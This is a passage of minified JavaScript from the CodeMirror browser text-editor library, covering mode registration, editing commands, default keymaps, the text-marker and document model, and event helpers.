b});v("historyEventDelay",1250);v("viewportMargin",10,function(a){a.refresh()},!0);v("maxHighlightLength",1E4,Wa,!0);v("moveInputWithCursor",!0,function(a,b){b||(a.display.inputDiv.style.top=a.display.inputDiv.style.left=0)});v("tabindex",null,function(a,b){a.display.input.tabIndex=b||""});v("autofocus",null);var $e=n.modes={},xb=n.mimeModes={};n.defineMode=function(a,b){n.defaults.mode||"null"==a||(n.defaults.mode=a);2<arguments.length&&(b.dependencies=Array.prototype.slice.call(arguments,2));$e[a]=
b};n.defineMIME=function(a,b){xb[a]=b};n.resolveMode=function(a){if("string"==typeof a&&xb.hasOwnProperty(a))a=xb[a];else if(a&&"string"==typeof a.name&&xb.hasOwnProperty(a.name)){var b=xb[a.name];"string"==typeof b&&(b={name:b});a=Re(b,a);a.name=b.name}else if("string"==typeof a&&/^[\w\-]+\/[\w\-]+\+xml$/.test(a))return n.resolveMode("application/xml");return"string"==typeof a?{name:a}:a||{name:"null"}};n.getMode=function(a,b){b=n.resolveMode(b);var c=$e[b.name];if(!c)return n.getMode(a,"text/plain");
c=c(a,b);if(yb.hasOwnProperty(b.name)){var d=yb[b.name],e;for(e in d)d.hasOwnProperty(e)&&(c.hasOwnProperty(e)&&(c["_"+e]=c[e]),c[e]=d[e])}c.name=b.name;b.helperType&&(c.helperType=b.helperType);if(b.modeProps)for(e in b.modeProps)c[e]=b.modeProps[e];return c};n.defineMode("null",function(){return{token:function(a){a.skipToEnd()}}});n.defineMIME("text/plain","null");var yb=n.modeExtensions={};n.extendMode=function(a,b){var c=yb.hasOwnProperty(a)?yb[a]:yb[a]={};Ja(b,c)};n.defineExtension=function(a,
b){n.prototype[a]=b};n.defineDocExtension=function(a,b){O.prototype[a]=b};n.defineOption=v;var qc=[];n.defineInitHook=function(a){qc.push(a)};var Ia=n.helpers={};n.registerHelper=function(a,b,c){Ia.hasOwnProperty(a)||(Ia[a]=n[a]={_global:[]});Ia[a][b]=c};n.registerGlobalHelper=function(a,b,c,d){n.registerHelper(a,b,d);Ia[a]._global.push({pred:c,val:d})};var eb=n.copyState=function(a,b){if(!0===b)return b;if(a.copyState)return a.copyState(b);var c={},d;for(d in b){var e=b[d];e instanceof Array&&(e=
e.concat([]));c[d]=e}return c},of=n.startState=function(a,b,c){return a.startState?a.startState(b,c):!0};n.innerMode=function(a,b){for(;a.innerMode;){var c=a.innerMode(b);if(!c||c.mode==a)break;b=c.state;a=c.mode}return c||{mode:a,state:b}};var Yb=n.commands={selectAll:function(a){a.setSelection(q(a.firstLine(),0),q(a.lastLine()),oa)},singleSelection:function(a){a.setSelection(a.getCursor("anchor"),a.getCursor("head"),oa)},killLine:function(a){Ra(a,function(b){if(b.empty()){var c=s(a.doc,b.head.line).text.length;
return b.head.ch==c&&b.head.line<a.lastLine()?{from:b.head,to:q(b.head.line+1,0)}:{from:b.head,to:q(b.head.line,c)}}return{from:b.from(),to:b.to()}})},deleteLine:function(a){Ra(a,function(b){return{from:q(b.from().line,0),to:u(a.doc,q(b.to().line+1,0))}})},delLineLeft:function(a){Ra(a,function(a){return{from:q(a.from().line,0),to:a.from()}})},delWrappedLineLeft:function(a){Ra(a,function(b){var c=a.charCoords(b.head,"div").top+5;return{from:a.coordsChar({left:0,top:c},"div"),to:b.from()}})},delWrappedLineRight:function(a){Ra(a,
function(b){var c=a.charCoords(b.head,"div").top+5,c=a.coordsChar({left:a.display.lineDiv.offsetWidth+100,top:c},"div");return{from:b.from(),to:c}})},undo:function(a){a.undo()},redo:function(a){a.redo()},undoSelection:function(a){a.undoSelection()},redoSelection:function(a){a.redoSelection()},goDocStart:function(a){a.extendSelection(q(a.firstLine(),0))},goDocEnd:function(a){a.extendSelection(q(a.lastLine()))},goLineStart:function(a){a.extendSelectionsBy(function(b){return Ve(a,b.head.line)},{origin:"+move",
bias:1})},goLineStartSmart:function(a){a.extendSelectionsBy(function(b){return We(a,b.head)},{origin:"+move",bias:1})},goLineEnd:function(a){a.extendSelectionsBy(function(b){b=b.head.line;for(var c,d=s(a.doc,b);c=xa(d,!1);)d=c.find(1,!0).line,b=null;c=(c=ca(d))?c[0].level%2?Nb(d):Ob(d):d.text.length;return q(null==b?D(d):b,c)},{origin:"+move",bias:-1})},goLineRight:function(a){a.extendSelectionsBy(function(b){b=a.charCoords(b.head,"div").top+5;return a.coordsChar({left:a.display.lineDiv.offsetWidth+
100,top:b},"div")},wb)},goLineLeft:function(a){a.extendSelectionsBy(function(b){b=a.charCoords(b.head,"div").top+5;return a.coordsChar({left:0,top:b},"div")},wb)},goLineLeftSmart:function(a){a.extendSelectionsBy(function(b){var c=a.charCoords(b.head,"div").top+5,c=a.coordsChar({left:0,top:c},"div");return c.ch<a.getLine(c.line).search(/\S/)?We(a,b.head):c},wb)},goLineUp:function(a){a.moveV(-1,"line")},goLineDown:function(a){a.moveV(1,"line")},goPageUp:function(a){a.moveV(-1,"page")},goPageDown:function(a){a.moveV(1,
"page")},goCharLeft:function(a){a.moveH(-1,"char")},goCharRight:function(a){a.moveH(1,"char")},goColumnLeft:function(a){a.moveH(-1,"column")},goColumnRight:function(a){a.moveH(1,"column")},goWordLeft:function(a){a.moveH(-1,"word")},goGroupRight:function(a){a.moveH(1,"group")},goGroupLeft:function(a){a.moveH(-1,"group")},goWordRight:function(a){a.moveH(1,"word")},delCharBefore:function(a){a.deleteH(-1,"char")},delCharAfter:function(a){a.deleteH(1,"char")},delWordBefore:function(a){a.deleteH(-1,"word")},
delWordAfter:function(a){a.deleteH(1,"word")},delGroupBefore:function(a){a.deleteH(-1,"group")},delGroupAfter:function(a){a.deleteH(1,"group")},indentAuto:function(a){a.indentSelection("smart")},indentMore:function(a){a.indentSelection("add")},indentLess:function(a){a.indentSelection("subtract")},insertTab:function(a){a.replaceSelection("\t")},insertSoftTab:function(a){for(var b=[],c=a.listSelections(),d=a.options.tabSize,e=0;e<c.length;e++){var f=c[e].from(),f=V(a.getLine(f.line),f.ch,d);b.push(Array(d-
f%d+1).join(" "))}a.replaceSelections(b)},defaultTab:function(a){a.somethingSelected()?a.indentSelection("add"):a.execCommand("insertTab")},transposeChars:function(a){pa(a,function(){for(var b=a.listSelections(),c=[],d=0;d<b.length;d++){var e=b[d].head,f=s(a.doc,e.line).text;if(f)if(e.ch==f.length&&(e=new q(e.line,e.ch-1)),0<e.ch)e=new q(e.line,e.ch+1),a.replaceRange(f.charAt(e.ch-1)+f.charAt(e.ch-2),q(e.line,e.ch-2),e,"+transpose");else if(e.line>a.doc.first){var g=s(a.doc,e.line-1).text;g&&a.replaceRange(f.charAt(0)+
"\n"+g.charAt(g.length-1),q(e.line-1,g.length-1),q(e.line,1),"+transpose")}c.push(new y(e,e))}a.setSelections(c)})},newlineAndIndent:function(a){pa(a,function(){for(var b=a.listSelections().length,c=0;c<b;c++){var d=a.listSelections()[c];a.replaceRange("\n",d.anchor,d.head,"+input");a.indentLine(d.from().line+1,null,!0);La(a)}})},toggleOverwrite:function(a){a.toggleOverwrite()}},fa=n.keyMap={};fa.basic={Left:"goCharLeft",Right:"goCharRight",Up:"goLineUp",Down:"goLineDown",End:"goLineEnd",Home:"goLineStartSmart",
PageUp:"goPageUp",PageDown:"goPageDown",Delete:"delCharAfter",Backspace:"delCharBefore","Shift-Backspace":"delCharBefore",Tab:"defaultTab","Shift-Tab":"indentAuto",Enter:"newlineAndIndent",Insert:"toggleOverwrite",Esc:"singleSelection"};fa.pcDefault={"Ctrl-A":"selectAll","Ctrl-D":"deleteLine","Ctrl-Z":"undo","Shift-Ctrl-Z":"redo","Ctrl-Y":"redo","Ctrl-Home":"goDocStart","Ctrl-End":"goDocEnd","Ctrl-Up":"goLineUp","Ctrl-Down":"goLineDown","Ctrl-Left":"goGroupLeft","Ctrl-Right":"goGroupRight","Alt-Left":"goLineStart",
"Alt-Right":"goLineEnd","Ctrl-Backspace":"delGroupBefore","Ctrl-Delete":"delGroupAfter","Ctrl-S":"save","Ctrl-F":"find","Ctrl-G":"findNext","Shift-Ctrl-G":"findPrev","Shift-Ctrl-F":"replace","Shift-Ctrl-R":"replaceAll","Ctrl-[":"indentLess","Ctrl-]":"indentMore","Ctrl-U":"undoSelection","Shift-Ctrl-U":"redoSelection","Alt-U":"redoSelection",fallthrough:"basic"};fa.macDefault={"Cmd-A":"selectAll","Cmd-D":"deleteLine","Cmd-Z":"undo","Shift-Cmd-Z":"redo","Cmd-Y":"redo","Cmd-Home":"goDocStart","Cmd-Up":"goDocStart",
"Cmd-End":"goDocEnd","Cmd-Down":"goDocEnd","Alt-Left":"goGroupLeft","Alt-Right":"goGroupRight","Cmd-Left":"goLineLeft","Cmd-Right":"goLineRight","Alt-Backspace":"delGroupBefore","Ctrl-Alt-Backspace":"delGroupAfter","Alt-Delete":"delGroupAfter","Cmd-S":"save","Cmd-F":"find","Cmd-G":"findNext","Shift-Cmd-G":"findPrev","Cmd-Alt-F":"replace","Shift-Cmd-Alt-F":"replaceAll","Cmd-[":"indentLess","Cmd-]":"indentMore","Cmd-Backspace":"delWrappedLineLeft","Cmd-Delete":"delWrappedLineRight","Cmd-U":"undoSelection",
"Shift-Cmd-U":"redoSelection","Ctrl-Up":"goDocStart","Ctrl-Down":"goDocEnd",fallthrough:["basic","emacsy"]};fa.emacsy={"Ctrl-F":"goCharRight","Ctrl-B":"goCharLeft","Ctrl-P":"goLineUp","Ctrl-N":"goLineDown","Alt-F":"goWordRight","Alt-B":"goWordLeft","Ctrl-A":"goLineStart","Ctrl-E":"goLineEnd","Ctrl-V":"goPageDown","Shift-Ctrl-V":"goPageUp","Ctrl-D":"delCharAfter","Ctrl-H":"delCharBefore","Alt-D":"delWordAfter","Alt-Backspace":"delWordBefore","Ctrl-K":"killLine","Ctrl-T":"transposeChars"};fa["default"]=
S?fa.macDefault:fa.pcDefault;var Zb=n.lookupKey=function(a,b,c){function d(b){b=cd(b);var e=b[a];if(!1===e)return"stop";if(null!=e&&c(e))return!0;if(b.nofallthrough)return"stop";b=b.fallthrough;if(null==b)return!1;if("[object Array]"!=Object.prototype.toString.call(b))return d(b);for(e=0;e<b.length;++e){var f=d(b[e]);if(f)return f}return!1}for(var e=0;e<b.length;++e){var f=d(b[e]);if(f)return"stop"!=f}},zf=n.isModifierKey=function(a){a=ra[a.keyCode];return"Ctrl"==a||"Alt"==a||"Shift"==a||"Mod"==a},
Af=n.keyName=function(a,b){if(W&&34==a.keyCode&&a["char"])return!1;var c=ra[a.keyCode];if(null==c||a.altGraphKey)return!1;a.altKey&&(c="Alt-"+c);if(Ze?a.metaKey:a.ctrlKey)c="Ctrl-"+c;if(Ze?a.ctrlKey:a.metaKey)c="Cmd-"+c;!b&&a.shiftKey&&(c="Shift-"+c);return c};n.fromTextArea=function(a,b){function c(){a.value=k.getValue()}b||(b={});b.value=a.value;!b.tabindex&&a.tabindex&&(b.tabindex=a.tabindex);!b.placeholder&&a.placeholder&&(b.placeholder=a.placeholder);if(null==b.autofocus){var d=ka();b.autofocus=
d==a||null!=a.getAttribute("autofocus")&&d==document.body}if(a.form&&(w(a.form,"submit",c),!b.leaveSubmitMethodAlone)){var e=a.form,f=e.submit;try{var g=e.submit=function(){c();e.submit=f;e.submit();e.submit=g}}catch(h){}}a.style.display="none";var k=n(function(b){a.parentNode.insertBefore(b,a.nextSibling)},b);k.save=c;k.getTextArea=function(){return a};k.toTextArea=function(){k.toTextArea=isNaN;c();a.parentNode.removeChild(k.getWrapperElement());a.style.display="";a.form&&(ja(a.form,"submit",c),
"function"==typeof a.form.submit&&(a.form.submit=f))};return k};var jc=n.StringStream=function(a,b){this.pos=this.start=0;this.string=a;this.tabSize=b||8;this.lineStart=this.lastColumnPos=this.lastColumnValue=0};jc.prototype={eol:function(){return this.pos>=this.string.length},sol:function(){return this.pos==this.lineStart},peek:function(){return this.string.charAt(this.pos)||void 0},next:function(){if(this.pos<this.string.length)return this.string.charAt(this.pos++)},eat:function(a){var b=this.string.charAt(this.pos);
if("string"==typeof a?b==a:b&&(a.test?a.test(b):a(b)))return++this.pos,b},eatWhile:function(a){for(var b=this.pos;this.eat(a););return this.pos>b},eatSpace:function(){for(var a=this.pos;/[\s\u00a0]/.test(this.string.charAt(this.pos));)++this.pos;return this.pos>a},skipToEnd:function(){this.pos=this.string.length},skipTo:function(a){a=this.string.indexOf(a,this.pos);if(-1<a)return this.pos=a,!0},backUp:function(a){this.pos-=a},column:function(){this.lastColumnPos<this.start&&(this.lastColumnValue=
V(this.string,this.start,this.tabSize,this.lastColumnPos,this.lastColumnValue),this.lastColumnPos=this.start);return this.lastColumnValue-(this.lineStart?V(this.string,this.lineStart,this.tabSize):0)},indentation:function(){return V(this.string,null,this.tabSize)-(this.lineStart?V(this.string,this.lineStart,this.tabSize):0)},match:function(a,b,c){if("string"==typeof a){var d=function(a){return c?a.toLowerCase():a},e=this.string.substr(this.pos,a.length);if(d(e)==d(a))return!1!==b&&(this.pos+=a.length),
!0}else{if((a=this.string.slice(this.pos).match(a))&&0<a.index)return null;a&&!1!==b&&(this.pos+=a[0].length);return a}},current:function(){return this.string.slice(this.start,this.pos)},hideFirstChars:function(a,b){this.lineStart+=a;try{return b()}finally{this.lineStart-=a}}};var Fa=n.TextMarker=function(a,b){this.lines=[];this.type=b;this.doc=a};Ua(Fa);Fa.prototype.clear=function(){if(!this.explicitlyCleared){var a=this.doc.cm,b=a&&!a.curOp;b&&sa(a);if(T(this,"clear")){var c=this.find();c&&E(this,
"clear",c.from,c.to)}for(var d=c=null,e=0;e<this.lines.length;++e){var f=this.lines[e],g=rb(f.markedSpans,this);a&&!this.collapsed?ia(a,D(f),"text"):a&&(null!=g.to&&(d=D(f)),null!=g.from&&(c=D(f)));for(var h=f,k=f.markedSpans,l=g,m=void 0,n=0;n<k.length;++n)k[n]!=l&&(m||(m=[])).push(k[n]);h.markedSpans=m;null==g.from&&this.collapsed&&!va(this.doc,f)&&a&&$(f,ua(a.display))}if(a&&this.collapsed&&!a.options.lineWrapping)for(e=0;e<this.lines.length;++e)f=da(this.lines[e]),g=Bb(f),g>a.display.maxLineLength&&
(a.display.maxLine=f,a.display.maxLineLength=g,a.display.maxLineChanged=!0);null!=c&&a&&this.collapsed&&Q(a,c,d+1);this.lines.length=0;this.explicitlyCleared=!0;this.atomic&&this.doc.cantEdit&&(this.doc.cantEdit=!1,a&&Rd(a.doc));a&&E(a,"markerCleared",a,this);b&&ta(a);this.parent&&this.parent.clear()}};Fa.prototype.find=function(a,b){null==a&&"bookmark"==this.type&&(a=1);for(var c,d,e=0;e<this.lines.length;++e){var f=this.lines[e],g=rb(f.markedSpans,this);if(null!=g.from&&(c=q(b?f:D(f),g.from),-1==
a))return c;if(null!=g.to&&(d=q(b?f:D(f),g.to),1==a))return d}return c&&{from:c,to:d}};Fa.prototype.changed=function(){var a=this.find(-1,!0),b=this,c=this.doc.cm;a&&c&&pa(c,function(){var d=a.line,e=D(a.line);if(e=Wd(c,e))Yd(e),c.curOp.selectionChanged=c.curOp.forceUpdate=!0;c.curOp.updateMaxLine=!0;va(b.doc,d)||null==b.height||(e=b.height,b.height=null,(e=hb(b)-e)&&$(d,d.height+e))})};Fa.prototype.attachLine=function(a){if(!this.lines.length&&this.doc.cm){var b=this.doc.cm.curOp;b.maybeHiddenMarkers&&
-1!=J(b.maybeHiddenMarkers,this)||(b.maybeUnhiddenMarkers||(b.maybeUnhiddenMarkers=[])).push(this)}this.lines.push(a)};Fa.prototype.detachLine=function(a){this.lines.splice(J(this.lines,a),1);!this.lines.length&&this.doc.cm&&(a=this.doc.cm.curOp,(a.maybeHiddenMarkers||(a.maybeHiddenMarkers=[])).push(this))};var Hf=0,hc=n.SharedTextMarker=function(a,b){this.markers=a;this.primary=b;for(var c=0;c<a.length;++c)a[c].parent=this};Ua(hc);hc.prototype.clear=function(){if(!this.explicitlyCleared){this.explicitlyCleared=
!0;for(var a=0;a<this.markers.length;++a)this.markers[a].clear();E(this,"clear")}};hc.prototype.find=function(a,b){return this.primary.find(a,b)};var ic=n.LineWidget=function(a,b,c){if(c)for(var d in c)c.hasOwnProperty(d)&&(this[d]=c[d]);this.cm=a;this.node=b};Ua(ic);ic.prototype.clear=function(){var a=this.cm,b=this.line.widgets,c=this.line,d=D(c);if(null!=d&&b){for(var e=0;e<b.length;++e)b[e]==this&&b.splice(e--,1);b.length||(c.widgets=null);var f=hb(this);pa(a,function(){var b=-f;aa(c)<(a.curOp&&
a.curOp.scrollTop||a.doc.scrollTop)&&cc(a,null,b);ia(a,d,"widget");$(c,Math.max(0,c.height-f))})}};ic.prototype.changed=function(){var a=this.height,b=this.cm,c=this.line;this.height=null;var d=hb(this)-a;d&&pa(b,function(){b.curOp.forceUpdate=!0;aa(c)<(b.curOp&&b.curOp.scrollTop||b.doc.scrollTop)&&cc(b,null,d);$(c,c.height+d)})};var Ga=n.Line=function(a,b,c){this.text=a;Ge(this,b);this.height=c?c(this):1};Ua(Ga);Ga.prototype.lineNo=function(){return D(this)};var Mf={},Lf={};sb.prototype={chunkSize:function(){return this.lines.length},
removeInner:function(a,b){for(var c=a,d=a+b;c<d;++c){var e=this.lines[c];this.height-=e.height;var f=e;f.parent=null;Fe(f);E(e,"delete")}this.lines.splice(a,b)},collapse:function(a){a.push.apply(a,this.lines)},insertInner:function(a,b,c){this.height+=c;this.lines=this.lines.slice(0,a).concat(b).concat(this.lines.slice(a));for(a=0;a<b.length;++a)b[a].parent=this},iterN:function(a,b,c){for(b=a+b;a<b;++a)if(c(this.lines[a]))return!0}};tb.prototype={chunkSize:function(){return this.size},removeInner:function(a,
b){this.size-=b;for(var c=0;c<this.children.length;++c){var d=this.children[c],e=d.chunkSize();if(a<e){var f=Math.min(b,e-a),g=d.height;d.removeInner(a,f);this.height-=g-d.height;e==f&&(this.children.splice(c--,1),d.parent=null);if(0==(b-=f))break;a=0}else a-=e}25>this.size-b&&(1<this.children.length||!(this.children[0]instanceof sb))&&(c=[],this.collapse(c),this.children=[new sb(c)],this.children[0].parent=this)},collapse:function(a){for(var b=0;b<this.children.length;++b)this.children[b].collapse(a)},
insertInner:function(a,b,c){this.size+=b.length;this.height+=c;for(var d=0;d<this.children.length;++d){var e=this.children[d],f=e.chunkSize();if(a<=f){e.insertInner(a,b,c);if(e.lines&&50<e.lines.length){for(;50<e.lines.length;)a=e.lines.splice(e.lines.length-25,25),a=new sb(a),e.height-=a.height,this.children.splice(d+1,0,a),a.parent=this;this.maybeSpill()}break}a-=f}},maybeSpill:function(){if(!(10>=this.children.length)){var a=this;do{var b=a.children.splice(a.children.length-5,5),b=new tb(b);if(a.parent){a.size-=
b.size;a.height-=b.height;var c=J(a.parent.children,a);a.parent.children.splice(c+1,0,b)}else c=new tb(a.children),c.parent=a,a.children=[c,b],a=c;b.parent=a.parent}while(10<a.children.length);a.parent.maybeSpill()}},iterN:function(a,b,c){for(var d=0;d<this.children.length;++d){var e=this.children[d],f=e.chunkSize();if(a<f){f=Math.min(b,f-a);if(e.iterN(a,f,c))return!0;if(0==(b-=f))break;a=0}else a-=f}}};var Xf=0,O=n.Doc=function(a,b,c){if(!(this instanceof O))return new O(a,b,c);null==c&&(c=0);tb.call(this,
[new sb([new Ga("",null)])]);this.first=c;this.scrollTop=this.scrollLeft=0;this.cantEdit=!1;this.cleanGeneration=1;this.frontier=c;c=q(c,0);this.sel=na(c);this.history=new kc(null);this.id=++Xf;this.modeOption=b;"string"==typeof a&&(a=Ba(a));hd(this,{from:c,to:c,text:a});L(this,na(c),oa)};O.prototype=Re(tb.prototype,{constructor:O,iter:function(a,b,c){c?this.iterN(a-this.first,b-a,c):this.iterN(this.first,this.first+this.size,a)},insert:function(a,b){for(var c=0,d=0;d<b.length;++d)c+=b[d].height;
this.insertInner(a-this.first,b,c)},remove:function(a,b){this.removeInner(a-this.first,b)},getValue:function(a){var b=nd(this,this.first,this.first+this.size);return!1===a?b:b.join(a||"\n")},setValue:M(function(a){var b=q(this.first,0),c=this.first+this.size-1;Pa(this,{from:b,to:q(c,s(this,c).text.length),text:Ba(a),origin:"setValue"},!0);L(this,na(b))}),replaceRange:function(a,b,c,d){b=u(this,b);c=c?u(this,c):b;Vb(this,a,b,c,d)},getRange:function(a,b,c){a=qb(this,u(this,a),u(this,b));return!1===
c?a:a.join(c||"\n")},getLine:function(a){return(a=this.getLineHandle(a))&&a.text},getLineHandle:function(a){if(cb(this,a))return s(this,a)},getLineNumber:function(a){return D(a)},getLineHandleVisualStart:function(a){"number"==typeof a&&(a=s(this,a));return da(a)},lineCount:function(){return this.size},firstLine:function(){return this.first},lastLine:function(){return this.first+this.size-1},clipPos:function(a){return u(this,a)},getCursor:function(a){var b=this.sel.primary();return null==a||"head"==
a?b.head:"anchor"==a?b.anchor:"end"==a||"to"==a||!1===a?b.to():b.from()},listSelections:function(){return this.sel.ranges},somethingSelected:function(){return this.sel.somethingSelected()},setCursor:M(function(a,b,c){a=u(this,"number"==typeof a?q(a,b||0):a);L(this,na(a,null),c)}),setSelection:M(function(a,b,c){var d=u(this,a);a=u(this,b||a);L(this,na(d,a),c)}),extendSelection:M(function(a,b,c){Fb(this,u(this,a),b&&u(this,b),c)}),extendSelections:M(function(a,b){for(var c=[],d=0;d<a.length;d++)c[d]=
u(this,a[d]);Ld(this,c)}),extendSelectionsBy:M(function(a,b){Ld(this,lb(this.sel.ranges,a),b)}),setSelections:M(function(a,b,c){if(a.length){for(var d=0,e=[];d<a.length;d++)e[d]=new y(u(this,a[d].anchor),u(this,a[d].head));null==b&&(b=Math.min(a.length-1,this.sel.primIndex));L(this,ba(e,b),c)}}),addSelection:M(function(a,b,c){var d=this.sel.ranges.slice(0);d.push(new y(u(this,a),u(this,b||a)));L(this,ba(d,d.length-1),c)}),getSelection:function(a){for(var b=this.sel.ranges,c,d=0;d<b.length;d++){var e=
qb(this,b[d].from(),b[d].to());c=c?c.concat(e):e}return!1===a?c:c.join(a||"\n")},getSelections:function(a){for(var b=[],c=this.sel.ranges,d=0;d<c.length;d++){var e=qb(this,c[d].from(),c[d].to());!1!==a&&(e=e.join(a||"\n"));b[d]=e}return b},replaceSelection:function(a,b,c){for(var d=[],e=0;e<this.sel.ranges.length;e++)d[e]=a;this.replaceSelections(d,b,c||"+input")},replaceSelections:M(function(a,b,c){for(var d=[],e=this.sel,f=0;f<e.ranges.length;f++){var g=e.ranges[f];d[f]={from:g.from(),to:g.to(),
text:Ba(a[f]),origin:c}}if(f=b&&"end"!=b){f=[];c=a=q(this.first,0);for(e=0;e<d.length;e++){var h=d[e],g=qe(h.from,a,c),k=qe(qa(h),a,c);a=h.to;c=k;"around"==b?(h=this.sel.ranges[e],h=0>x(h.head,h.anchor),f[e]=new y(h?k:g,h?g:k)):f[e]=new y(g,g)}f=new ga(f,this.sel.primIndex)}b=f;for(f=d.length-1;0<=f;f--)Pa(this,d[f]);b?Md(this,b):this.cm&&La(this.cm)}),undo:M(function(){bc(this,"undo")}),redo:M(function(){bc(this,"redo")}),undoSelection:M(function(){bc(this,"undo",!0)}),redoSelection:M(function(){bc(this,
"redo",!0)}),setExtending:function(a){this.extend=a},getExtending:function(){return this.extend},historySize:function(){for(var a=this.history,b=0,c=0,d=0;d<a.done.length;d++)a.done[d].ranges||++b;for(d=0;d<a.undone.length;d++)a.undone[d].ranges||++c;return{undo:b,redo:c}},clearHistory:function(){this.history=new kc(this.history.maxGeneration)},markClean:function(){this.cleanGeneration=this.changeGeneration(!0)},changeGeneration:function(a){a&&(this.history.lastOp=this.history.lastSelOp=this.history.lastOrigin=
null);return this.history.generation},isClean:function(a){return this.history.generation==(a||this.cleanGeneration)},getHistory:function(){return{done:Ta(this.history.done),undone:Ta(this.history.undone)}},setHistory:function(a){var b=this.history=new kc(this.history.maxGeneration);b.done=Ta(a.done.slice(0),null,!0);b.undone=Ta(a.undone.slice(0),null,!0)},addLineClass:M(function(a,b,c){return ec(this,a,"class",function(a){var e="text"==b?"textClass":"background"==b?"bgClass":"wrapClass";if(a[e]){if((new RegExp("(?:^|\\s)"+
c+"(?:$|\\s)")).test(a[e]))return!1;a[e]+=" "+c}else a[e]=c;return!0})}),removeLineClass:M(function(a,b,c){return ec(this,a,"class",function(a){var e="text"==b?"textClass":"background"==b?"bgClass":"wrapClass",f=a[e];if(f)if(null==c)a[e]=null;else{var g=f.match(new RegExp("(?:^|\\s+)"+c+"(?:$|\\s+)"));if(!g)return!1;var h=g.index+g[0].length;a[e]=f.slice(0,g.index)+(g.index&&h!=f.length?" ":"")+f.slice(h)||null}else return!1;return!0})}),markText:function(a,b,c){return Sa(this,u(this,a),u(this,b),
c,"range")},setBookmark:function(a,b){var c={replacedWith:b&&(null==b.nodeType?b.widget:b),insertLeft:b&&b.insertLeft,clearWhenEmpty:!1,shared:b&&b.shared};a=u(this,a);return Sa(this,a,a,c,"bookmark")},findMarksAt:function(a){a=u(this,a);var b=[],c=s(this,a.line).markedSpans;if(c)for(var d=0;d<c.length;++d){var e=c[d];(null==e.from||e.from<=a.ch)&&(null==e.to||e.to>=a.ch)&&b.push(e.marker.parent||e.marker)}return b},findMarks:function(a,b,c){a=u(this,a);b=u(this,b);var d=[],e=a.line;this.iter(a.line,
b.line+1,function(f){if(f=f.markedSpans)for(var g=0;g<f.length;g++){var h=f[g];e==a.line&&a.ch>h.to||null==h.from&&e!=a.line||e==b.line&&h.from>b.ch||c&&!c(h.marker)||d.push(h.marker.parent||h.marker)}++e});return d},getAllMarks:function(){var a=[];this.iter(function(b){if(b=b.markedSpans)for(var c=0;c<b.length;++c)null!=b[c].from&&a.push(b[c].marker)});return a},posFromIndex:function(a){var b,c=this.first;this.iter(function(d){d=d.text.length+1;if(d>a)return b=a,!0;a-=d;++c});return u(this,q(c,b))},
indexFromPos:function(a){a=u(this,a);var b=a.ch;if(a.line<this.first||0>a.ch)return 0;this.iter(this.first,a.line,function(a){b+=a.text.length+1});return b},copy:function(a){var b=new O(nd(this,this.first,this.first+this.size),this.modeOption,this.first);b.scrollTop=this.scrollTop;b.scrollLeft=this.scrollLeft;b.sel=this.sel;b.extend=!1;a&&(b.history.undoDepth=this.history.undoDepth,b.setHistory(this.getHistory()));return b},linkedDoc:function(a){a||(a={});var b=this.first,c=this.first+this.size;null!=
a.from&&a.from>b&&(b=a.from);null!=a.to&&a.to<c&&(c=a.to);b=new O(nd(this,b,c),a.mode||this.modeOption,b);a.sharedHist&&(b.history=this.history);(this.linked||(this.linked=[])).push({doc:b,sharedHist:a.sharedHist});b.linked=[{doc:this,isParent:!0,sharedHist:a.sharedHist}];a=De(this);for(c=0;c<a.length;c++){var d=a[c],e=d.find(),f=b.clipPos(e.from),e=b.clipPos(e.to);x(f,e)&&(f=Sa(b,f,e,d.primary,d.primary.type),d.markers.push(f),f.parent=d)}return b},unlinkDoc:function(a){a instanceof n&&(a=a.doc);
if(this.linked)for(var b=0;b<this.linked.length;++b)if(this.linked[b].doc==a){this.linked.splice(b,1);a.unlinkDoc(this);If(De(this));break}if(a.history==this.history){var c=[a.id];Ea(a,function(a){c.push(a.id)},!0);a.history=new kc(null);a.history.done=Ta(this.history.done,c);a.history.undone=Ta(this.history.undone,c)}},iterLinkedDocs:function(a){Ea(this,a)},getMode:function(){return this.mode},getEditor:function(){return this.cm}});O.prototype.eachLine=O.prototype.iter;var Yf=["iter","insert","remove",
"copy","getEditor"],zb;for(zb in O.prototype)O.prototype.hasOwnProperty(zb)&&0>J(Yf,zb)&&(n.prototype[zb]=function(a){return function(){return a.apply(this.doc,arguments)}}(O.prototype[zb]));Ua(O);var N=n.e_preventDefault=function(a){a.preventDefault?a.preventDefault():a.returnValue=!1},Zf=n.e_stopPropagation=function(a){a.stopPropagation?a.stopPropagation():a.cancelBubble=!0},Yc=n.e_stop=function(a){N(a);Zf(a)},w=n.on=function(a,b,c){a.addEventListener?a.addEventListener(b,c,!1):a.attachEvent?a.attachEvent("on"+
b,c):(a=a._handlers||(a._handlers={}),(a[b]||(a[b]=[])).push(c))},ja=n.off=function(a,b,c){if(a.removeEventListener)a.removeEventListener(b,c,!1);else if(a.detachEvent)a.detachEvent("on"+b,c);else if(a=a._handlers&&a._handlers[b])for(b=0;b<a.length;++b)if(a[b]==c){a.splice(b,1);break}},H=n.signal=function(a,b){var c=a._handlers&&a._handlers[b];if(c)for(var d=Array.prototype.slice.call(arguments,2),e=0;e<c.length;++e)c[e].apply(null,d)},ub=null,R=30,le=n.Pass={toString:function(){return"CodeMirror.Pass"}},
oa={scroll:!1},ad={origin:"*mouse"},wb={origin:"+move"};oc.prototype.set=function(a,b){clearTimeout(this.id);this.id=setTimeout(b,a)};var V=n.countColumn=function(a,b,c,d,e){null==b&&(b=a.search(/[^\s\u00a0]/),-1==b&&(b=a.length));d=d||0;for(e=e||0;;){var f=a.indexOf("\t",d);if(0>f||f>=b)return e+(b-d);e+=f-d;e+=c-e%c;d=f+1}},lc=[""],nb=function(a){a.select()};Va?nb=function(a){a.selectionStart=0;a.selectionEnd=a.value.length}:z&&(nb=function(a){try{a.select()}catch(b){}});[].indexOf&&(J=function(a,
